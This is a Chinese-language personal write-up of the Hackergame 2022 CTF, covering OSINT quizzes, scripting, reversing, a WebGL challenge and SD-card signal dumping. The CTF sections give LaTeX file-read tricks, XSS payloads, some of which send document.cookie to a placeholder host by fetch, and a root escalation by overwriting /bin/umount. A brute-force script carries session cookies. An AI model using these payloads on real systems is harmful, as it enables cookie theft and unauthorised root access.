Hackergame 2022 Writeup

开篇废话

又是一年 hackergame 今年的题目似乎更多了,然后成绩还算凑合,让我欣慰的是今年的 Math 类别居然有分了!
虽然相比去年排名掉了

score

历年题解:

题目

签到

1-js
1-view

?result=2022

猫咪问答喵

老传统了,考验信息检索能力以及写脚本爆破能力 这里提供人类可读语言版本

Q1: 中国科学技术大学 NEBULA 战队(USTC NEBULA)于何时成立?
翻译成G话:

NEBULA 成立 site:ustc.edu.cn

同时,此次代表中国科大出征的Nebula战队是进入线下决赛32支队伍中平均 … 中国科学技术大学“星云战队(Nebula)”成立于2017年3月,“星云”一词来自

A1: 2017-03


Q2: 软件自由日活动中其中一个闪电演讲 slide 里面提到的出 bug 的 KDE 程序叫什么?
找到 ftp 里面的 slides
看到出 bug 的程式在 slide 15
丢到 Google 搜图没找到是什么程序
然后通过关键词查询得知程序为 kdenlive neko-github_kdenlive

A2: Kdenlive


Q3: Firefox 浏览器能在 Windows 2000 下运行的最后一个大版本号是多少?
neko-firefox-2000-latest-version

A3: 12


Q4: Linux 中修复 PwnKit 的 commit hash

# 克隆一下 Linux 项目
# kernel.org
git clone https://github.com/torvalds/linux.git
cd linux
git log --grep pwnkit

neko-linix-pwnkit

看上去只有这个 commit(
A4: dcd46d897adb70d63e025f175a00a89797d31a43


Q5: fingerprint is MD5:e4:ff:65:d7:be:5d:c8:44:1d:89:6b:50:f5:50:a0:ce. 可能是哪个网站的服务器?
neko-linix-shodan

shodan 随便搜索下,再加上题目说只有六个字母。

A5: sdf.org


Q6: 中国科学技术大学国内国际网络20元是从什么时候开始的? 翻译成 G 话:

"国际网络" site:ustc.edu.cn

然后找到费用更新文档

(2011年1月1日起实行) 同时网字〔2003〕1号《关于实行新的网络费用分担办法的通知》终止实行。

然后看最底下,2003年的标准也是 20元 一个月。

继续翻译成 G 话:

"网络费用分担办法" site:ustc.edu.cn

然后找到旧文件:https://ustcnet.ustc.edu.cn/2003/0301/c11109a210890/page.htm

A6: 2003-03-01

花絮

最后一题当时不知道为什么心态崩了是穷举出来的,代码参考:

var axios = require('axios');
var qs = require('qs');
var config = {
  method: 'post',
  url: 'http://202.38.93.111:10002/',
  headers: {
    'Cookie': 'DOKU_PREFS=list%23thumbs; session=eyJ0b2tlbiI6IjEzODk6TUVRQ0lDUENvSU5xMXlqbGJNb2I1ZGlGR2l1OGRIQ296SldHNGZpRVMxVVhZcEUrQWlBVm9yYXQ5cmlTeU45U29RWVZyOVEzV2tmYjdYMFBHSVFoMUZQWGZ0NCtvdz09In0.Y1PqRQ.DTswRhv5PTQsoyRFbw7T6Czi0D4; csrftoken=z9VZRr6CGAl1Ei1g3xTGTdsKrTmO0ZL3k5QCkTdGyLa7gvLksVZWj2jqzktjIoAu'
  }
};

async function asyncForEach(array, callback) {
  for (let index = 0; index < array.length; index++) {
    await callback(array[index], index, array)
  }
}


asyncForEach([2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2012, 2013, 2014, 2015, 2016], async year => {
  await asyncForEach([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12], async month => {
    await asyncForEach(new Array(31).fill(1).map((ii, i) => i + 1), async day => {
      const a = await axios({
        ...config,
        data: qs.stringify({
          'q1': '2017-03',
          'q2': 'Kdenlive',
          'q3': '12',
          'q4': 'dcd46d897adb70d63e025f175a00a89797d31a43',
          'q5': 'sdf.org',
          'q6': `${year}-${month.toString().padStart(2, 0)}-01`
        })
      })
      if (a.data.includes('只够')) {
        console.log('no', `${year}-${month.toString().padStart(2, 0)}-${day.toString().padStart(2, 0)}`, a.data.split('你答对')[1].split('喵')[0])
      } else {
        console.log('ok', year, month, day)
        process.exit()
      }
    })
  })
})

家目录里的秘密

居然在这抢了个一血,运气不错

在这之前我们可以直接看 .bash_history 有历史记录可以作参考
3-history

VSCode

vscode 这个是送分题,搜索 flag{ 就送 flag (
3-riscv-c

rclone

当然用过 rclone 知道路径在哪里,不知道的也没事 .bash_history 或者随便搜索下之类的都 ok

~/.config/rclone/rclone.conf

找了个解密脚本

我的 flag: https://go.dev/play/p/WR5oSa2zJy0

其实这题要是再高点难度可以弄个 env 之类的存 rclone encrypt password 的(

HeiLang

来自 Heicore 社区的新一代编程语言 HeiLang,基于第三代大蟒蛇语言,但是抛弃了原有的难以理解的 | 运算,升级为了更加先进的语法,用 A[x | y | z] = t 来表示之前复杂的 A[x] = t; A[y] = t; A[z] = t

看描述就是 a[xx] 被自主可控魔改了,那我们改回去就 ok 依旧是 JS:

const fs = require('fs')

let content = fs.readFileSync('./getflag.hei.py', 'utf-8')

let new_content = []
content.split('\n').forEach(x => {
  let temp_content = []
  if (x.startsWith('a[')) {
    let xx = x.replace('a[', '')
    const arr1 = xx.split('] = ')
    const value = arr1[1].trim()
    // const arr2 = arr1[0].split('|')
    arr1[0].split('|').forEach(n => {
      // console.log(`a[${n.trim()}] = ${value}`)
      temp_content.push(`a[${n.trim()}] = ${value}`)
    })
  }
  // new_content +=
  if (temp_content.length > 0) {
    new_content = [...new_content, ...temp_content]
  } else {
    new_content.push(x)
  }
})

fs.writeFileSync('getflag.py', new_content.join('\n'))

$ python3 getflag.py
> Tha flag is: flag{6d9ad6e9a6268d96-d193a92af9772bdb}

Xcaptcha

2038 年 1 月 19 日,是 UNIX 32 位时间戳溢出的日子。

考察我们是否会做 BigInt 运算,由于有1秒限制,所以我们要写个简单脚本自动化提交:

// ==UserScript==
// @name        猴子算数
// @namespace    http://blog.huggy.moe/posts/2022/ustclug-ctf-writeup/
// @version      0.1
// @description  flag 生成器
// @author       huggy
// @match        http://202.38.93.111:10047/xcaptcha
// @grant        none
// @require https://cdn.jsdelivr.net/npm/[email protected]/big.min.js
// ==/UserScript==

let answers = document.querySelectorAll('input');
let questions = document.querySelectorAll('label');

for (let i = 0; i < questions.length; i++) {
  const element = questions[i];
  let question = element.innerHTML.split(' ')[0].split('+') // 的结果是
  answers[i].value = new Big(question[0]).plus(question[1]).c.join('')
}
document.getElementById('submit').click();

flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_933a5d67a0}

然而我并没有用无头浏览器或者 requests 跑

旅行照片2.0

照片分析

exiftool ~/Downloads/travel-photo-2.jpeg

Q1: 图片所包含的 EXIF 信息版本是多少?(如 2.1)。
A1: 2.31 (Exif Version : 0231)


Q2: 拍照使用手机的品牌是什么?
A2: 小米/红米 Make : Xiaomi


Q3: ISO
A3: ISO : 84


Q4: 照片拍摄日期是哪一天? A4: Create Date : 2022:05:14 18:23:35


Q5: 照片拍摄时是否使用了闪光灯? A5:肉眼可见没有开(Flash : Off, Did not fire)

社工实践(没做出来)

航班没猜出来 qaq

Q6: 请写出拍照人所在地点的邮政编码,格式为 3 至 10 位数字,不含空格或下划线等特殊符号

根据图片内的内容可以知道会场为 Zozo Marine Stadium
travel-1

A6: 2610022

更新,此处邮编也是错的,球场的是 22,出题人酒店为 2610021


Q7: 照片窗户上反射出了拍照人的手机。那么这部手机的屏幕分辨率是多少呢?

我们已经知道照片是由小米手机拍出来了的,exif 有给相机模组型号,我们搜索 xiaomi sm6115
travel-2

A7: 2340x1080

航班嗝屁了(x月前数据都要钱)

LaTeX 机器人

大概是考察下 TeX 语法,简单搜索下就知道有 \input{file} 的语法了,所以第一小题即为:

\input{/flag1}

第二题,特殊字符被转义掉,然后就报错了,然后又搜索了下,有个 \catcode 语法可以先转义掉字符然后再 \input

{
  \catcode`\#=11
  \catcode`\_=12
  \input{/flag2}
}

然而发现好像只吃一行,于是又试了试:

\catcode`\#=11\catcode`\_=12\input{/flag2}

latex-2

Flag 的痕迹

小 Z 听说 Dokuwiki 配置很简单,所以在自己的机器上整了一份。可是不巧的是,他一不小心把珍贵的 flag 粘贴到了 wiki 首页提交了!他赶紧改好,并且也把历史记录(revisions)功能关掉了。
「这样就应该就不会泄漏 flag 了吧」,小 Z 如是安慰自己。
然而事实真的如此吗?

居然是第二次碰到 Dokuwiki 的题了

随便访问下 /data 目录 403 看上去不是直接猜的

然后我们本地自建拿有权限的号复现,随便点几下:
doku-1
偷链接过去,不太行。
我们随便选两个然后进入 diff 页面,然后偷「到此差别页面的链接」(如果没有那就复制 post 请求:
链接

doku-2
发现链接拼上去后是可以查看 diff 的。

flag{d1gandFInD_d0kuw1k1_unexpectEd_API}

安全的在线测评

送分题

就是读 .out 题解即可

#include <unistd.h>

int main(void) {
  char *binaryPath = "/bin/bash";
  execl(binaryPath, binaryPath, "-c", "read N\ncat ./data/static.out");
  return 0;
}

然后我就直接在 c 内调用 shell 了

提权

试过了 suid 之类的,花了几个小时还是没提权成功,没有交互的 shell 重试成本太大了。

线路板

没什么好说的,看到 ebaz_sdr-F_Cu.gbr 文件是最大的,用 KiCad 打开。
pcb-1

pcb-2

Flag 自动机

ollydbg 打开翻车,不清楚哪里反调试,程序直接退出了。

Ghidra 打开 ok 但是不是很好修改
flag_m-ghidra-1

逻辑上的地址和值都算好了,以我自己的水平来说无法改 CMP 的值来让判断为真,找的时候发现作者留下了一句话:

DEFINED 0040a168 ds “Hint: You don’t need to reverse the decryption logic itself.”

于是就放弃反编译被无情地嘲讽了

从 ghidra 伪代码来看,程序似乎有什么 lpfnWndProc 之类的 win32 window api:
flag_m-ghidra-2

具体怎么找到的 api 我已经不想找了,参考搜索记录:
flag_m-s-1
flag_m-s-2
flag_m-s-3

最终确认 win32 中 sendmessage 可以得到 flag

知乎 - Win32跨进程SendMessage与VirtualAllocEx
最终代码成品:

# 抄袭 https://github.com/xzfn/ywcolor

import subprocess

import win32gui, win32process

def find_exe_pid(imagename):
    cmd = """tasklist /fi "IMAGENAME eq {}""".format(imagename)
    result = subprocess.run(cmd, stdout=subprocess.PIPE)
    output = result.stdout.decode('gbk')
    index = output.find(imagename)
    if index == -1:
        return -1
    pid = output[index:].split()[1]
    return int(pid)

def find_hwnds_by_pid(target_pid):
    hwnds = []
    def _finder(hwnd, lparam):
        thread_process_id = win32process.GetWindowThreadProcessId(hwnd)
        process_id = thread_process_id[1]
        # print('ddd', process_id, target_pid)
        if process_id == target_pid:
            hwnds.append(hwnd)
        return True
    win32gui.EnumWindows(_finder, None)
    return hwnds

def find_hwnds_by_exe(imagename):
    target_pid = find_exe_pid(imagename)
    return find_hwnds_by_pid(target_pid)

def main():
    hwnds = find_hwnds_by_exe('flag_machine.exe')
    for hwnd in hwnds:
        win32gui.SendMessage(hwnd,0x111,3,114514) #此处内容为反编译后的伪代码喂给我的

if __name__ == '__main__':
    main()

flag_m-final
然后手头上 Windows 不知道为什么乱码输出了,最后借了一台电脑才出 flag


番外篇:

0x1bf52 = 114514

flag_m-114514

Kanbe_Kotori flag_m-author

然而还是不知道怎么反反动态调试

微积分计算小练习

总之,因为其先进的设计思想,需要同学们做完练习之后手动把成绩连接贴到这里来:

总而言之是 web 题目,很容易看出来名字和分数是 base64 了的:
calculus-base64

然后还有个提交成绩的 terminal: 后面才发现有个判题脚本 calculus-headless
跑的是无头浏览器。

回到答题页面,很容易看得出来有 xss 「innerHTMLcalculus-innerHTML

按照以往套路判题脚本,flag 都在 cookie 里,我们随便弄个 payload:

location.href = '/share?result=' + encodeURIComponent(btoa(`100:<img src="" onerror="document.querySelector('#greeting').innerHTML = document.cookie">`))

确定可行后丢到判题脚本里: calculus-flag

花絮

在实际上做题的时候,我以为是主动发 cookie 过去,后面才得知想到里面是没有外网的
在没有看判题脚本下,一度以为是禁用了 img 之类的
部分 payload 参考:

100:<img src="1" onerror="fetch('http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php?g=' + encodeURIComponent(document.cookie))">"
100:<img src="http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php">
100:<iframe src="/">no iframe</iframe>
100:<iframe srcdoc="<script>fetch('http://xxx/ctf_/2022-hackergame_quiz/ustc_quiz.php?g=' + encodeURIComponent(document.cookie))</script>"></iframe>
100:<iframe srcdoc="<script>document.writeln('test')</script>"></iframe>
100:<img src="/" onerror="this.alt=test">

惜字如金

惜字如金化指的是将一串文本中的部分字符删除,从而形成另一串文本的过程。该标准针对的是文本中所有由 52 个拉丁字母连续排布形成的序列,在下文中统称为「单词」。一个单词中除「AEIOUaeiou」外的 42 个字母被称作「辅音字母」。整个惜字如金化的过程按照以下两条原则对文本中的每个单词进行操作:
第一原则(又称 creat 原则):如单词最后一个字母为「e」或「E」,且该字母的上一个字母为辅音字母,则该字母予以删除。
第二原则(又称 referer 原则):如单词中存在一串全部由完全相同(忽略大小写)的辅音字母组成的子串,则该子串仅保留第一个字母。

疯狂玩梗

HS384

然后看了真正题目,看上去就是叫我们把惜字如金化的脚本解回去。

#!/usr/bin/python3

# The size of the file may reduce after XZRJification

from base64 import urlsafe_b64encode
from hashlib import sha384
from hmac import digest
from sys import argv


def check_equals(left, right):
    # check whether left == right or not
    if left != right:
        print(left, right) #debug
        exit(0x01)


def sign(file: str):
    with open(file, 'rb') as f:
        # import secret
        secret = b'ustc.edu.cn' # 我们要还原此处内容 = secret_sha384
        print(secret)
        check_equals(len(secret), 39)
        # check secret hash
        secret_sha384 = 'ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47f' +\
                        'a170f33d53bc62074271866a4e4d1325dc27f644fdad'
        check_equals(sha384(secret).hexdigest(), secret_sha384)
        # generate the signature
        return digest(secret, f.read(), sha384)


if __name__ == '__main__':
    try:
        # check som obvious things
        check_equals('create', 'cre' + 'ate')
        check_equals('referrer', 'refer' + 'rer')
        # generat th signatur
        check_equals(len(argv), 2)
        sign_b64 = urlsafe_b64encode(sign(argv[1]))
        print('HS384 sign:', sign_b64.decode('utf-8'))
    except (SystemExit, Exception):
        print('Usag' + 'e: HS384.py <fil' + 'e>')

当然简单还原是不够的,我们可以很容易知道 secret 也被惜字如金化了,脚本内提示 secret 长度是 39 可是实际上只有 11 ,当然 secret_sha384 也被惜字如金了。

于是这两题的 X 问题就知道了,把被惜字如金化的 secret 还原回去。

我们按照题目要求手动 padding 要惜字如金的区域:

ustce.edu.cne

^ 粉色 = 会重复的区域

绿色 = 结尾加 e 的区域

组合看上去有很多种,手动穷举不太现实。
于是我们按照题目写个穷举脚本:

let x1_list = []
let x2_list = []
let x3_list = []
let x = 0
do {
  x++
  let y = 0
  do {
    y++
    let z = 0
    do {
      z++
      x1_list.push(new Array(x).fill('s').join('') + new Array(y).fill('t').join('') + new Array(z).fill('c').join(''))
    } while (z < 20)
    x3_list.push(new Array(x).fill('c').join('') + new Array(y).fill('n').join(''))
  } while (y < 20)
  x2_list.push(new Array(x).fill('d').join(''))
} while (x < 20)

let x_list = []

x1_list.forEach(x1 => {
  x2_list.forEach(x2 => {
    x3_list.forEach(x3 => {
      [`u${x1}.e${x2}u.${x3}`, `u${x1}e.e${x2}u.${x3}`, `u${x1}.e${x2}u.${x3}e`, `u${x1}e.e${x2}u.${x3}e`].forEach(x => {
        if (x.length === 39) {
          console.log(x)
        }
      })
    })
  })
})

# node calc.js > 1

然后用 Python 跑 sha384 出来

from hashlib import sha384
for secret in open('./1').read().split('\n'):
  secret = secret.encode('utf-8')
  print(secret)
  print(sha384(secret).hexdigest())

题目送的 sha384 值为 ec18f9dbc4aba825c7d4f9c726db1cb0d0babf47f + a170f33d53bc62074271866a4e4d1325dc27f644fdad
当然这段也被惜字如金化了,所以我们要手动比对:

xzrj-1

最终确认 secret 为:

b'usssttttttce.edddddu.ccccccnnnnnnnnnnnn'
eccc18f9dbbc4aba825c7d4f9cccce726db1cb0d0babffe47fa170fe33d53bc62074271866a4e4d1325dc27f644fddad

于是就 ok 了

RS384(没做出来)

属于第一题的加强版,感觉变成了至少 (26-5)*2*(78-26) 个可能的组合,并且长度也不是固定的了,不是很会算法就 emmmmc 了 甚至穷举脚本都不知道怎么开始写再加上第一题已经做出来了,所以放弃

动态规划我也不懂啊 qaq 都5年以上没写过了

光与影

OpenGL(WebGL)题目,之前没接触过。

修改大概思路是,改光源之类的或者摄影机角度当然也可以直接把马赛克挡掉。

这里就懒得看 console 和注释提供的入门教程了,直接乱删代码

首先下载下来

wget -r http://202.38.93.111:10121/

然后首先按照注释爆删代码,可以先把下面星球的石头去掉不然祖传低压U和集成显卡跑不动:,对应的是:

// Classic Perlin noise
float cnoise(vec2 P) {
    return 2.3;
}

由于不想知道怎么去掉渲染,所以就在这动刀了

plant-2

这样渲染的时候可以省点时间。

然后我们可以大概猜到这个 WebGL 大概逻辑,光照是从上面垂直打下去的,然后照亮地面,然后 flag 的地方被东西挡住了。

而 flag 很明显就在 t1SDF t2SDF t3SDF t4SDF t5SDF 之间,看 t5SDF 的代码最少,肯定就直接开干

我们搜索一下,就可以知道 t5SDF 调用的地方,爆删,然后成功把 overlay 去掉了:
plant-2

花絮

然而因为没有知识上的储备,实际上的操作没有那么简单,大概是乱删乱改了好久才成功解出 flag

plant-no-surface
在宇宙中的 flag

plant-no-flag-2
偷走了更多东西(

plant-little-flag

plant-little-flag
就快成功了)

真的不懂图形领域

片上系统

最近,你听说室友在 SD 卡方面取得了些进展。在他日复一日的自言自语中,你逐渐了解到这个由他一个人自主研发的片上系统现在已经可以从 SD 卡启动:先由“片上 ROM 中的固件”加载并运行 SD 卡第一个扇区中的“引导程序”,之后由这个“引导程序”从 SD 卡中加载“操作系统”。而这个“操作系统”目前能做的只是向“串口”输出一些字符。
同时你听说,这个并不完善的 SD 卡驱动只使用了 SD 卡的 SPI 模式,而传输速度也是低得感人。此时你突然想到:如果速度不快的话,是不是可以用逻辑分析仪来采集(偷窃)这个 SD 卡的信号,从而“获得” SD 卡以至于这个“操作系统”的秘密?
你从抽屉角落掏出吃灰已久的逻辑分析仪。这个小东西价格不到 50 块钱,采样率也只有 24 M。你打开 PulseView,把采样率调高,连上室友开发板上 SD 卡的引脚,然后接通了开发板的电源,希望这聊胜于无的分析仪真的能抓到点什么有意思的信号。至于你为什么没有直接把 SD 卡拿下来读取数据,就没人知道了。

首先题目给我们提供了一些信息,翻译成 H 话可以提取到以下信息:

  • 软件:PulseView
  • 采样率: 24 MHz = 24000000 Hz

我们下载 PulseView 先,先把原始数据转成可视化的再考虑做题。
压缩包里面有 metadata 不够看上去没有什么用(似乎 probeX(1) 代表接了几根?)。

我们先去查阅些文档,了解 SDcard SPI mode 用了几根引脚,我参考了这个期刊上的文章:

dump-paper

  • 引脚
    • MISO
    • MOSI
    • SCK
    • CS

必要软件和信息准备完成后,我们就可以开始尝试 dump 内容了

引导扇区

我们打开 PulseView 然后 import logic-1-1 channels 和 sample rate 填之前收集到的:

更新,此处可以直接 import zip 不需要手动设定 channels 和 sample rates
dump-pv-1

打开后,发现4个 channel 都有数据,说明参数应该是对了,然后我们一眼可以看出 CLK(时钟)是哪一根,先标注上:
dump-pv-2

然后我们用 PulseView 自带的解码器安排一下:
dump-pv-4

就找到第一题的 flag 了~
数据参考:

FFFFFFFFFFFF01FFFFFFFFFFFFFFFF00FFFFFFFFFFFFFFFF00FFFFFFFFFFFFFFFFFFFFFFFE370110201301C1FFEF00000137150020670005006F004000B707002083A8870BB707002083A5470AB707002003AF470BB707002083AE070BB707002003A8C7091305100013860820130E10001303700083A70500E38E07FE2320AF0023A0CE0183A70500E38E07FE938708001307080083A607001307470093874700232ED7FEE398C7FE1305150013080820E31265FCB7120020678002006780000000100020142000961020009600200096081000960410009600100096000000960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000666C61677B304B5F796F755F676F545F7468335F62347349635F316445345F63615252795F304E7DB0E5FF

0000000001FFFFFF694000000001FFFFFF5100000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

操作系统(没做出来)

qemu 没启动起来,riscv 这些应该要从 verilator 开始仿真?
放弃,要补的前置知识有点多。

git clone https://git.qemu.org/git/qemu.git --depth 1
git submodule update --recursive

# 是不是 32 呢?
./configure --target-list=riscv64-softmmu --prefix=/tmp/qemu

# 接下来是自己配外设,sd卡 + 串口 ,然而并不知道从何开始

传达不到的文件

非预期解警告!
参考官方预期解

虽然不知道在 busybox 没有 gcc 怎么动态调试什么的,或者有什么 kernel 有什么奇妙 flag 参数可以直接读,然后 /proc 好像也没读到什么,不过还算找到了个办法提权,当然提权的话就是非预期解了(。
在这个系统里面,我们可以找到部署代码:

/etc $ cat init.d/rcS 
#! /bin/sh

mkdir -p /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t devtmpfs devtmpfs /dev
mount -t tmpfs none /tmp
mdev -s

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms

chown 0:0 /chall
chmod 04111 /chall

cat /dev/sda > /flag2
chown 1337:1337 /flag2
chmod 0400 /flag2

setsid /bin/cttyhack setuidgid 1000 /bin/sh

umount /proc
umount /tmp


poweroff -d 0  -f

其中 setsid /bin/cttyhack setuidgid 1000 /bin/sh 应该设成 1000 普通用户运行 /bin/sh
然后下面还有 umount 命令,我们 ls -n /bin

/ $ ls -n /bin/ | grep umount
lrwxrwxrwx    1 1000     1000             7 Oct 15 18:20 umount -> busybox

可以发现 umount 命令是 777 的,于是我们可以替换掉 umount 后就可以提权

rm -fr /bin/umount
echo "/bin/sh" > /bin/umount
chmod +x /bin/umount
exit

这样就提权成功了~
7777-1

读不到

cat /chall | base64

然后本地 base64 回来

cat chall-base64 | base64 -d > chall #(macOS 为 -D)

7777-chall

打不开

根据启动脚本,可以知道打不开是 /dev/sda 动态读取的,所以:

# 两种方法一样
cat /flag2


dd if=/dev/sda of=/tmp/1
cat /tmp/1

(无图)

残念区

(读后感)

猜数字

前年的 Writeup 中我还在讲 baNaNa 的梗,今年就忘了(
当时做的时候甚至记得用科学技术法,本地运行日志甚至显示了 +Infinity 却还没记起来有 NaN 这种东西)

杯窗鹅影

让我想起在前几个月看到的一个项目 (One-Core-Api)这个项目是在 Microsoft© Windows™ (XP|Vista|Longhorn) (就是 NT5) 中把 win32 API 换成 wine 中间层,这样不支持 Windows XP 的程序也可以透过 wine 的加成成功运行起来,当时就应该要意识到 wine 的原理才对(

你先别急

居然是注入题,想错方向了(

于是小 K 实现了自适应难度验证码,但由于小 K 还要急着参加下一场虚拟签名的抢购,所以只用数据库实现了一个简单的 demo,而这个数据库中还不小心存放了一些重要信息,你能得到其中的秘密吗?

现在看题目也是有暗示,不过当时只理解成有什么 riskness == 0 的奇妙字符 所以只拿 username 字典穷举了下就放弃了。

二次元神经网络

这样都可以反序列化的地方,学到了(

看不见的彼方

学到了 Linux 更深的信号机制,还记得上上星期社团纳新的时候考的一个同学,如何杀死一个进程,现在发现自己也要再学学了。

Math

默认当没看到题目,放弃

总结

这次的 Hackergame 感觉还算 ok 虽然名次翻车了Dalao太多了 然后莫名撸了个一血出来

然后没想到在有生之年能做到两次关于 Dokuwiki 的题目,真的很感人,上次碰到是在去年底有个线下比赛,这次也 AK 了

终于徒手解出了一题 binary 题(虽然不是靠爆改代码),不过学习了 win32 相关 API,之前或多或少地知道 win32 相关的东西,这次总算实践成功了。

还有 ???GL 题目也解出来了,记得前两年没成功过。

最后用 PulseView dump 出了 sd 卡的内容,但还是因为缺乏前置知识跑不起来 riscv 的 qemu

社工题目变更难了,好在是分两个阶段,而且可以清楚跟我说错哪里 然而旅行图片还是没找到

个人感觉这次是最后一次参加了,不知道明年还有没有空。

然后已经尽力让 Writeup 显得简单点了,不过还是忽略了许多技术/操作细节。在这里也只能一笔带过了,我是实在无法描绘出这里点一下,那里搜索下再点一点的经验操作。

最后感谢您能看到这里()